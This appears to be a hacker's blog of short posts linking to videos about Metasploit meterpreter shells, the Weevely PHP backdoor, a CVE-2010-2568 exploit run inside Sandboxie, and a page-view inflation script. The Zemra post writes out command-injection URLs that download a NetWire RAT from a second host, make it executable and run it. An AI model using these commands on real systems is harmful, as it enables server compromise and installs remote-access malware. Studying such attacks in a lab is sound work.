Ubuntu 12.04 LTS meterpreter shell

Just wanted show how to use msfpayload to generate a linux meterpeter bind shell as a exe binary file.This requires the victim/user to run and execute the malicious exe file. Tested on Ubuntu 12.04 LTS
Video:http://youtu.be/FpPE3C4Q1TU

Windows metasploit shell upgrade to a meterpreter shell Metasploit tip

I wanted show how to upgrade a standard Metasploit Windows shell to a meterpreter shell.
 Once you have Metasploit Windows shell simply type sessions -l to list all sessions. Find the session you wish to upgrade with its number and type sessions -u session number.
Video: http://youtu.be/UdFwRGdoAsU

Weevely PHP Backdoor

Weevely is a great tool found in Kali. Weevely creates a password protected php backdoor. I wanted to show the basics of using Weevely in my video.
Weevely video link:http://youtu.be/tKUynA5Is1Y

Generating a metasploit php meterpreter bind shell

I wanted to cover how to generate a metasploit php meterpreter bind shell. You have to visit the url where you uploaded your bind meterpreter shell to activate it. You don't have to specify a path to the shell just remote hosts ip is required. Anyone with metasploit can use that bind shell. It's best if you use a reverse shell if your going to use php meterpreter shell. I will cover a more secure shell Weevely that requires a password.
video link:http://youtu.be/lo_LrMaNcS8

Zemra web panel hack with NetWIRE

Found a exploit for Zemra and used netwire to hack the Zemra web panel.

commands

wget downloads testlinux.out NetWire to the current directory http://192.168.56.141/zemra/system/
 http://192.168.56.141/zemra/system/command.php?cmd=wget http://192.168.56.207/testlinux.out



chmod 777 makes it possible to execute testlinux.out NetWire RAT
http://192.168.56.141/zemra/system/command.php?cmd=chmod 777 testlinux.out


./testlinux.out simply executes NetWire RAT
http://192.168.56.141/zemra/system/command.php?cmd=./testlinux.out

NetWire RAT:http://www.worldwiredlabs.com/netwire
Exploit:http://www.1337day.com/exploit/21663
My Video:http://youtu.be/w3Eo7HI8Bbk

HTTP Traffic 1.2 traffic generator

I downloaded HTTP Traffic 1.2 a jquery script that you can run on your local browser and tested it on my test blog testtraffic185.blogspot.com. I started out with 1 page view after running the tool I had 49 page views in Google stats.
video link http://youtu.be/RdK3wCbghSk

Sandboxie and meterpreter

Windows XP SP3 support ends April 8th, 2014. This is not good for people who are forced to use Windows XP at work. I decided to make a video showing a old CVE-2010-2568 exploit. The exploit worked and delivered a Metasploit reverse meterpreter tcp payload. The payload executed in the sandbox as soon as I terminated the programs in the sandbox the meterpeter session dies. I tried in meterpreter session to get getprivs and getsystem but they were blocked by Sandboxie. Sandboxie also prevented me from migrating the process. But I was able to download and upload files in the meterpreter session and get a shell so Sandboxie only minimizes the damage. Without Sandboxie everything worked as you would expect. Anyway this solution is only for those who are forced to use outdated software.

CVE-2010-2568 Exploit  http://www.exploit-db.com/exploits/14403/
You can get Sandboxie at http://www.sandboxie.com/index.php?DownloadSandboxie
Anyway this is my video http://youtu.be/3QVDIkXeRrc